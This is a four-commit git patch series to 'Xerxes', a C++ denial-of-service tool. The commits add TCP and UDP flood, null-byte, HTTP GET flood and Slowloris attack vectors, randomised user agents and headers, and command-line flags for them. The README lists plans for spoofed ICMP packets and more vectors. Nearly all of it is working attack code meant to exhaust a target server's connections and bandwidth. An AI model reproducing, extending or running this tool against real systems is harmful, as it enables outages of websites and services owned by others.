From 649a10d8d1099db8e6c13b746e2339eb2e8cb836 Mon Sep 17 00:00:00 2001 From: ssh Date: Fri, 23 Mar 2018 18:25:04 +0400 Subject: [PATCH 1/4] Added new attack vectors --- Configuration.h | 2 +- Doser.cpp | 26 ++++++++++++++++++++++++-- Doser.h | 2 ++ Parser.cpp | 14 ++++++++++++-- 4 files changed, 39 insertions(+), 5 deletions(-) diff --git a/Configuration.h b/Configuration.h index 951b8a5..d681b77 100644 --- a/Configuration.h +++ b/Configuration.h @@ -6,7 +6,7 @@ struct config{ enum Protocol{TCP, UDP}; - enum Vector{Null, HTTP}; + enum Vector{Null, NullPlus, HTTP, HTTPPlus}; Protocol protocol{TCP}; Vector vector{Null}; std::string website{}; diff --git a/Doser.cpp b/Doser.cpp index eff9073..d8cf0c8 100644 --- a/Doser.cpp +++ b/Doser.cpp @@ -27,21 +27,26 @@ void Doser::attack(const int *id) { default:break; } switch (conf->vector){ + case config::HTTPPlus: case (config::HTTP):{ std::string httpbuffer{}; httpbuffer = std::string{"GET /"} + createStr() + " HTTP/1.0\r\nUser-Agent: " + randomizeUserAgent() + " \r\nAccept: */*\r\nConnection: Keep-Alive\r\n\r\n"; message = std::string("Buffer: ") + httpbuffer; logger->Log(&message, Logger::Info); - r = static_cast(write(sockets[x], httpbuffer.c_str(), static_cast(httpbuffer.length()))); + r = write_socket(sockets[x], httpbuffer.c_str(), static_cast(httpbuffer.length())); break; } + case config::NullPlus: case (config::Null):{ - r = static_cast(write(sockets[x], "\0", 1)); + r = write_socket(sockets[x], "\0", 1); break; } default:break; } + if(conf->vector == config::HTTPPlus | conf->vector == config::NullPlus){ + read_socket(sockets[x]); + } switch (r){ case -1:{ close(sockets[x]); @@ -134,12 +139,18 @@ void Doser::run() { logger->Log(&message, Logger::Warning); switch(conf->vector){ + case config::HTTPPlus: + logger->Log("Attack Vector: HTTP plus", Logger::Info); + break; case config::HTTP: logger->Log("Attack Vector: HTTP", Logger::Info); break; case config::Null: logger->Log("Attack Vector: Null", Logger::Info); break; + case config::NullPlus: + logger->Log("Attack Vector: Null plus", Logger::Info); + break; default:break; } @@ -179,3 +190,14 @@ std::string Doser::randomizeUserAgent(){ } return conf->useragents[0]; } + +void Doser::read_socket(int socket){ + char chunk[128]; + while(read(socket , chunk, 128)){ + memset(chunk , 0 , 128); + } +} + +int Doser::write_socket(int socket, const char *string, int length) { + return static_cast(write(socket, string, static_cast(length))); +} diff --git a/Doser.h b/Doser.h index 4beef80..a9903bd 100644 --- a/Doser.h +++ b/Doser.h @@ -13,6 +13,8 @@ class Doser { private: int make_socket(const char *host, const char *port); + void read_socket(int socket); + int write_socket(int socket, const char* string, int length); static void broke(int); std::string createStr(); void attack(const int *id); diff --git a/Parser.cpp b/Parser.cpp index 8a97264..bf538fd 100644 --- a/Parser.cpp +++ b/Parser.cpp @@ -6,8 +6,10 @@ void Parser::help() { std::string message{"Usage: ./Xerxes \n" "\nOptions:\n" + " -h+ set attack vector to HTTP plus\n" " -h set attack vector to HTTP\n" " -n set attack vector to NULL\n" + " -n+ set attack vector to NULL plus\n" " -t set attack protocol to TCP\n" " -u set attack protocol to UDP\n" " -qq set verbosity to quiet quiet\n" @@ -36,10 +38,18 @@ void Parser::parse_commandline(const int *argc, const char *argv[]) { case '-':{ switch(argv[i][1]){ case 'h': - conf->vector = config::HTTP; + if(argv[i][2] == '+'){ + conf->vector = config::HTTPPlus; + }else{ + conf->vector = config::HTTP; + } break; case 'n': - conf->vector = config::Null; + if(argv[i][2] == '+'){ + conf->vector = config::NullPlus; + }else{ + conf->vector = config::Null; + } break; case 't': conf->protocol = config::TCP; From f6367c895e4b2cdf13ed914c14b5f66f197d6197 Mon Sep 17 00:00:00 2001 From: ssh Date: Fri, 23 Mar 2018 18:31:11 +0400 Subject: [PATCH 2/4] Update README.md --- README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/README.md b/README.md index 0145fb1..e13bfba 100644 --- a/README.md +++ b/README.md @@ -8,8 +8,10 @@ Xerxes Dos Tool Rewritten in C++ ## Usage `Usage: ./Xerxes `\ Options:\ +     -h+     set attack vector to HTTP plus\      -h      set attack vector to HTTP\      -n      set attack vector to NULL\ +     -n+     set attack vector to NULL plus\      -t      set attack protocol to TCP\      -u      set attack protocol to UDP\      -qq     set verbosity to quiet quiet\ From 5b5725302c85ed45bece3da302971ece9bdc871a Mon Sep 17 00:00:00 2001 From: ssh Date: Sun, 25 Mar 2018 02:06:38 +0400 Subject: [PATCH 3/4] Added Slowloris Vector --- Configuration.h | 7 +- Doser.cpp | 166 +++++++++++++++++++++++++++++------------------- Doser.h | 2 + Logger.cpp | 5 +- Parser.cpp | 132 ++++++++++++++++++++------------------ 5 files changed, 178 insertions(+), 134 deletions(-) diff --git a/Configuration.h b/Configuration.h index d681b77..b840df4 100644 --- a/Configuration.h +++ b/Configuration.h @@ -5,15 +5,18 @@ #include struct config{ + enum Vector{NullTCP, NullUDP, TCPFlood, UDPFlood, HTTP, Slowloris}; enum Protocol{TCP, UDP}; - enum Vector{Null, NullPlus, HTTP, HTTPPlus}; Protocol protocol{TCP}; - Vector vector{Null}; + Vector vector{NullTCP}; std::string website{}; std::string port{}; std::vector useragents{"Wget/1.16 (linux-gnu/Xerxes)"}; int THREADS = 0; int CONNECTIONS = 0; + bool GetResponse{false}; + bool RandomizeUserAgent{false}; + bool RandomizeHeader{false}; }; diff --git a/Doser.cpp b/Doser.cpp index d8cf0c8..16f9d3b 100644 --- a/Doser.cpp +++ b/Doser.cpp @@ -9,62 +9,53 @@ #include "Doser.h" -void Doser::attack(const int *id) { +void Doser::attack(const int *id){ std::vector sockets; int x, r; + std::vector packets; for (x = 0; x < conf->CONNECTIONS; x++) { sockets.push_back(0); + packets.push_back(false); } signal(SIGPIPE, &Doser::broke); while(true) { static std::string message; for (x = 0; x < conf->CONNECTIONS; x++) { - switch (sockets[x]){ - case 0:{ - sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str()); - break; - } - default:break; + if(!sockets[x]){ + sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str()); + packets[x] = false; } - switch (conf->vector){ - case config::HTTPPlus: - case (config::HTTP):{ - std::string httpbuffer{}; - httpbuffer = std::string{"GET /"} + createStr() + " HTTP/1.0\r\nUser-Agent: " - + randomizeUserAgent() + " \r\nAccept: */*\r\nConnection: Keep-Alive\r\n\r\n"; - message = std::string("Buffer: ") + httpbuffer; - logger->Log(&message, Logger::Info); - r = write_socket(sockets[x], httpbuffer.c_str(), static_cast(httpbuffer.length())); - break; - } - case config::NullPlus: - case (config::Null):{ - r = write_socket(sockets[x], "\0", 1); - break; - } - default:break; + if(conf->vector == config::NullTCP | conf->vector == config::NullUDP){ + r = write_socket(sockets[x], "\0", 1); + }else{ + std::string packet = craft_packet(packets[x]); + r = write_socket(sockets[x], packet.c_str(), static_cast(packet.length())); + packets[x] = true; } - if(conf->vector == config::HTTPPlus | conf->vector == config::NullPlus){ + + if(conf->GetResponse){ read_socket(sockets[x]); } - switch (r){ - case -1:{ - close(sockets[x]); - sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str()); - break; - } - default:{ - message = std::string("Socket[") + std::to_string(x) + "->" - + std::to_string(sockets[x]) + "] -> " + std::to_string(r); - logger->Log(&message, Logger::Info); - message = std::to_string(*id) + ": Voly Sent"; - logger->Log(&message, Logger::Info); - } + if(r == -1){ + close(sockets[x]); + sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str()); + packets[x] = false; + }else{ + message = std::string("Socket[") + std::to_string(x) + "->" + + std::to_string(sockets[x]) + "] -> " + std::to_string(r); + logger->Log(&message, Logger::Info); + message = std::to_string(*id) + ": Voly Sent"; + logger->Log(&message, Logger::Info); } } message = std::to_string(*id) + ": Voly Sent"; logger->Log(&message, Logger::Info); - usleep(300000); + if(conf->vector == config::Slowloris){ + usleep(10000000); + }else{ + usleep(30000); + } + } } @@ -120,14 +111,10 @@ void Doser::broke(int) { } std::string Doser::createStr() { - unsigned seed = static_cast(std::chrono::steady_clock::now().time_since_epoch().count()); - std::default_random_engine engine(seed); - std::uniform_int_distribution distribution(0, 20); - int string_length = distribution(engine) + 1; + int string_length = randomInt(0, 20) + 1; std::string string{}; for(int i = 0; i < string_length; ++i){ - distribution = std::uniform_int_distribution(0, 72); - string += (static_cast('0' + distribution(engine))); + string += (static_cast('0' + randomInt(0, 72))); } return string; } @@ -139,27 +126,23 @@ void Doser::run() { logger->Log(&message, Logger::Warning); switch(conf->vector){ - case config::HTTPPlus: - logger->Log("Attack Vector: HTTP plus", Logger::Info); - break; case config::HTTP: logger->Log("Attack Vector: HTTP", Logger::Info); break; - case config::Null: - logger->Log("Attack Vector: Null", Logger::Info); + case config::NullTCP: + logger->Log("Attack Vector: NullTCP", Logger::Info); break; - case config::NullPlus: - logger->Log("Attack Vector: Null plus", Logger::Info); + case config::NullUDP: + logger->Log("Attack Vector: NullUDP", Logger::Info); break; - default:break; - } - - switch(conf->protocol){ - case config::TCP: - logger->Log("Using TCP Protocol", Logger::Info); + case config::UDPFlood: + logger->Log("Attack Vector: UDPFlood", Logger::Info); break; - case config::UDP: - logger->Log("Using UDP Protocol", Logger::Info); + case config::TCPFlood: + logger->Log("Attack Vector: TCPFlood", Logger::Info); + break; + case config::Slowloris: + logger->Log("Attack Vector: Slowloris", Logger::Info); break; default:break; } @@ -172,7 +155,6 @@ void Doser::run() { default: attack(&x); } - usleep(200000); } } @@ -183,10 +165,7 @@ Doser::Doser(config *conf, Logger *logger) : conf{conf}, logger{logger} { std::string Doser::randomizeUserAgent(){ if(conf->useragents.size() > 1){ - unsigned seed = static_cast(std::chrono::steady_clock::now().time_since_epoch().count()); - std::default_random_engine engine(seed); - std::uniform_int_distribution distribution(0, static_cast(conf->useragents.size())); - return conf->useragents[distribution(engine)]; + return conf->useragents[randomInt(0, static_cast(conf->useragents.size()))]; } return conf->useragents[0]; } @@ -198,6 +177,61 @@ void Doser::read_socket(int socket){ } } -int Doser::write_socket(int socket, const char *string, int length) { +int Doser::write_socket(int socket, const char *string, int length){ return static_cast(write(socket, string, static_cast(length))); } + +std::string Doser::craft_packet(bool keep_alive){ + std::string packet{}; + switch(conf->vector){ + case config::UDPFlood: + case config::TCPFlood: + return createStr(); + case config::HTTP:{ + packet += "GET /"; + if(conf->RandomizeHeader){ + packet += createStr(); + } + packet += " HTTP/1.0\r\nUser-Agent: "; + if(conf->RandomizeUserAgent){ + packet += randomizeUserAgent(); + }else{ + packet += conf->useragents[0]; + } + packet+= " \r\nAccept: */*\r\nConnection: Keep-Alive\r\n\r\n"; + return packet; + } + case config::Slowloris:{ + if(keep_alive){ + packet += "X-a: "; + packet += std::to_string(randomInt(1, 5000)); + packet += " \r\n"; + }else{ + packet += "GET /"; + if(conf->RandomizeHeader){ + packet += createStr(); + } + packet += " HTTP/1.0\r\nUser-Agent: "; + if(conf->RandomizeUserAgent){ + packet += randomizeUserAgent(); + }else{ + packet += conf->useragents[0]; + } + packet+= " \r\nAccept: */*\r\n"; + packet += "X-a: "; + packet += std::to_string(randomInt(1, 5000)); + packet += " \r\n"; + } + return packet; + } + default: + return ""; + } +} + +int Doser::randomInt(int min, int max){ + unsigned seed = static_cast(std::chrono::steady_clock::now().time_since_epoch().count()); + std::default_random_engine engine(seed); + std::uniform_int_distribution distribution(min, max); + return distribution(engine); +} diff --git a/Doser.h b/Doser.h index a9903bd..6fc67d9 100644 --- a/Doser.h +++ b/Doser.h @@ -15,8 +15,10 @@ class Doser { int make_socket(const char *host, const char *port); void read_socket(int socket); int write_socket(int socket, const char* string, int length); + std::string craft_packet(bool keep_alive=false); static void broke(int); std::string createStr(); + int randomInt(int min, int max); void attack(const int *id); std::string randomizeUserAgent(); config *conf; diff --git a/Logger.cpp b/Logger.cpp index 5591bf9..a644376 100644 --- a/Logger.cpp +++ b/Logger.cpp @@ -27,9 +27,8 @@ void Logger::Log(std::string *message, Level l) { } void Logger::Log(const char *message, Logger::Level l) { - std::string *str = new std::string{message}; - Log(str, l); - delete str; + std::string str = std::string{message}; + Log(&str, l); } Logger::Logger() = default; diff --git a/Parser.cpp b/Parser.cpp index bf538fd..2decf42 100644 --- a/Parser.cpp +++ b/Parser.cpp @@ -6,12 +6,15 @@ void Parser::help() { std::string message{"Usage: ./Xerxes \n" "\nOptions:\n" - " -h+ set attack vector to HTTP plus\n" " -h set attack vector to HTTP\n" - " -n set attack vector to NULL\n" - " -n+ set attack vector to NULL plus\n" - " -t set attack protocol to TCP\n" - " -u set attack protocol to UDP\n" + " -nu set attack vector to NULLUDP\n" + " -nt set attack vector to NULLTCP\n" + " -ft set attack vector to TCPFlood\n" + " -fu set attack vector to UDPFlood\n" + " -s set attack vector to Slowloris\n" + " -w wait for hosts response\n" + " -rh randomize HTTP Header\n" + " -ru randomize HTTP UserAgent\n" " -qq set verbosity to quiet quiet\n" " -q set verbosity to quiet\n" " -v set verbosity to verbose\n" @@ -28,71 +31,74 @@ void Parser::show_banner() { void Parser::parse_commandline(const int *argc, const char *argv[]) { size_t i = 0; - switch(*argc){ - case 8: - case 7: - case 6: - case 5:{ - for (i = 1; i < *argc; i++) { - switch(argv[i][0]){ - case '-':{ - switch(argv[i][1]){ - case 'h': - if(argv[i][2] == '+'){ - conf->vector = config::HTTPPlus; - }else{ - conf->vector = config::HTTP; - } - break; - case 'n': - if(argv[i][2] == '+'){ - conf->vector = config::NullPlus; - }else{ - conf->vector = config::Null; - } - break; - case 't': + if(*argc >= 5){ + for (i = 1; i < *argc; i++){ + switch(argv[i][0]){ + case '-':{ + switch(argv[i][1]){ + case 'h': + conf->vector = config::HTTP; + conf->protocol = config::TCP; + break; + case 'n': + if(argv[i][2] == 'u'){ + conf->vector = config::NullUDP; + conf->protocol = config::UDP; + }else if(argv[i][2] == 't'){ + conf->vector = config::NullTCP; conf->protocol = config::TCP; - break; - case 'u': + } + break; + case 'f': + if(argv[i][2] == 'u'){ + conf->vector = config::UDPFlood; conf->protocol = config::UDP; - break; - case 'v': - if(argv[i][2] == 'v'){ - logger->setLevel(Logger::Info); - }else{ - logger->setLevel(Logger::Warning); - } - break; - case 'q': - if(argv[i][2] == 'q'){ - logger->setLevel(Logger::None); - }else{ - logger->setLevel(Logger::Error); - } - break; - default: - help(); - } - break; - } - default:{ - conf->website = (std::string) argv[1]; - conf->port = (std::string) argv[2]; - if(Validator::isValidNumber(argv[3]) & Validator::isValidNumber(argv[4])){ - conf->THREADS = static_cast(strtol(argv[3], nullptr, 10)); - conf->CONNECTIONS = static_cast(strtol(argv[4], nullptr, 10)); - }else{ + }else if(argv[i][2] == 't'){ + conf->vector = config::TCPFlood; + conf->protocol = config::TCP; + } + break; + case 'r': + if(argv[i][2] == 'u'){ + conf->RandomizeUserAgent = true; + }else if(argv[i][2] == 'h'){ + conf->RandomizeHeader = true; + } + break; + case 'w': + conf->GetResponse = true; + break; + case 's': + conf->vector = config::Slowloris; + conf->protocol = config::TCP; + break; + case 'q': + if(argv[i][2] == 'q'){ + logger->setLevel(Logger::None); + }else{ + logger->setLevel(Logger::Error); + } + break; + default: help(); - } + } + break; + } + default:{ + conf->website = (std::string) argv[1]; + conf->port = (std::string) argv[2]; + if(Validator::isValidNumber(argv[3]) & Validator::isValidNumber(argv[4])){ + conf->THREADS = static_cast(strtol(argv[3], nullptr, 10)); + conf->CONNECTIONS = static_cast(strtol(argv[4], nullptr, 10)); + }else{ + help(); } } } - getUserAgents(); - break; } - default: - help(); + getUserAgents(); + }else{ + help(); } } From 1426f8cf03d523460be9274c7c2c2d5771bee320 Mon Sep 17 00:00:00 2001 From: ssh Date: Sun, 25 Mar 2018 10:35:17 +0400 Subject: [PATCH 4/4] Update README.md --- Parser.cpp | 2 +- README.md | 20 +++++++++++++++----- 2 files changed, 16 insertions(+), 6 deletions(-) diff --git a/Parser.cpp b/Parser.cpp index 2decf42..a6c2b25 100644 --- a/Parser.cpp +++ b/Parser.cpp @@ -25,7 +25,7 @@ void Parser::help() { } void Parser::show_banner() { - const std::string version{"v0.0.2"}; + const std::string version{"v0.0.3"}; std::cout << "Xerxes - Revised " << version << std::endl; } diff --git a/README.md b/README.md index e13bfba..3996091 100644 --- a/README.md +++ b/README.md @@ -8,17 +8,27 @@ Xerxes Dos Tool Rewritten in C++ ## Usage `Usage: ./Xerxes `\ Options:\ -     -h+     set attack vector to HTTP plus\      -h      set attack vector to HTTP\ -     -n      set attack vector to NULL\ -     -n+     set attack vector to NULL plus\ -     -t      set attack protocol to TCP\ -     -u      set attack protocol to UDP\ +     -nu     set attack vector to NULLUDP\ +     -nt     set attack vector to NULLTCP\ +     -ft     set attack vector to TCPFlood\ +     -fu     set attack vector to UDPFlood\ +     -s      set attack vector to Slowloris\ +     -w      wait for hosts response\ +     -rh     randomize HTTP Header\ +     -ru     randomize HTTP UserAgent\      -qq     set verbosity to quiet quiet\      -q      set verbosity to quiet\      -v      set verbosity to verbose\      -vv     set verbosity to very verbose +## Todo +
    +
  • Add spoofed ICMP packets support
  • +
  • Add more randomization to http header
  • +
  • Add https support
  • +
  • Add more attack vectors
  • +
## License This software is distributed under the GNU General Public License version 3 (GPLv3)